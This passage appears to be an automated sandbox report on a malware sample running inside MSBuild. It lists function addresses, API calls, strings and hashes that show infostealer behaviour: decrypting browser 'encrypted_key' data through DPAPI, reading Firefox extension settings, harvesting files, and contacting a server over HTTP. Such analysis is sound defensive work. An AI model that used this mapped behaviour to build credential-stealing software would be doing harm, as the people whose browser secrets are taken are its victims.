Instruction Fuzzy Hash: 5711B131900209AFCB40FF75D9026DCBBB1BF04308B80413AE814E3191D739EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction ID: ac01e61fcc3a8dc6a5e43971812eb7396920612e483317b6d6b91c956b259603
Opcode Fuzzy Hash: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction Fuzzy Hash: 84F0B471600218ABDB24EB68DC45FEF77BC9B44B08F10006AF645D7180EEB5DAC58B54

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction ID: f20441c87b7e9a3b4f7029758dad72c3b509e7d63b864ac140ecc9ec0d22b659
Opcode Fuzzy Hash: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction Fuzzy Hash: 2D714072A00119ABCF01FBA5EE468CD7775EF14309F104036F500B71A2DBB9AE898B98

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

^userContextId=4294967295, xrefs: 0040D4D7
moz-extension+++, xrefs: 0040D4DD

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: cbba276434d546cccf2bd678ca27597ed33bff2c91600e4374d997312367dd2d
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: cbba276434d546cccf2bd678ca27597ed33bff2c91600e4374d997312367dd2d
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 0040821B
, xrefs: 00408241
"encrypted_key":", xrefs: 004081DF

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: b934a5c9f4b9294abdda28911d3b7a5b7bcb53dff378b74b8385ba15c3e2a5a6
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: b934a5c9f4b9294abdda28911d3b7a5b7bcb53dff378b74b8385ba15c3e2a5a6
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00416330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Strings

~{A, xrefs: 004164AE

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: ~{A
API String ID: 2104210347-1816022387
Opcode ID: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction ID: ef6e44f044fd48bf473e8ed9b3318a571f04af2e7fbcf45178638c8cb6289389
Opcode Fuzzy Hash: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction Fuzzy Hash: 3231F77280010DEFDF15EB60DC43EE8377AEB08314F1440AEF606932A1EA769B919F55

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 0041686B
ERROR, xrefs: 00416896

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416FA7 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 0041700E
CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction ID: 6ddc57dea45eff21f3b413cd8a29bb57df9be50e409c6c2ee2748a51ac3a6ecc
Opcode Fuzzy Hash: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction Fuzzy Hash: E6217832900229ABCF10EF96EC419DE7BB9FF44358F10402BF904A3150D738AA86CFA4

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C363060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C363095

Part of subcall function 6C3635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C3EF688,00001000), ref: 6C3635D5
Part of subcall function 6C3635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3635E0
Part of subcall function 6C3635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C3635FD
Part of subcall function 6C3635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C36363F
Part of subcall function 6C3635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C36369F
Part of subcall function 6C3635A0: __aulldiv.LIBCMT ref: 6C3636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C36309F

Part of subcall function 6C385B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3856EE,?,00000001), ref: 6C385B85
Part of subcall function 6C385B50: EnterCriticalSection.KERNEL32(6C3EF688,?,?,?,6C3856EE,?,00000001), ref: 6C385B90
Part of subcall function 6C385B50: LeaveCriticalSection.KERNEL32(6C3EF688,?,?,?,6C3856EE,?,00000001), ref: 6C385BD8
Part of subcall function 6C385B50: GetTickCount64.KERNEL32 ref: 6C385BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C3630BE

Part of subcall function 6C3630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C363127
Part of subcall function 6C3630F0: __aulldiv.LIBCMT ref: 6C363140

Part of subcall function 6C39AB2A: __onexit.LIBCMT ref: 6C39AB30

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0f4766b7134676eddd898f507a8c81e31facb4f60eea0fd8846e4e1132bbbb30
Instruction ID: 661d5d77094bf35b35e71ebbf602c8f11c1bdf267095744764243504c2c6cd23
Opcode Fuzzy Hash: 0f4766b7134676eddd898f507a8c81e31facb4f60eea0fd8846e4e1132bbbb30
Instruction Fuzzy Hash: B5F02D12E20B4897CB70DF3498412EA7378AFAF214F10171BE8C557511FB6062D887C3

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

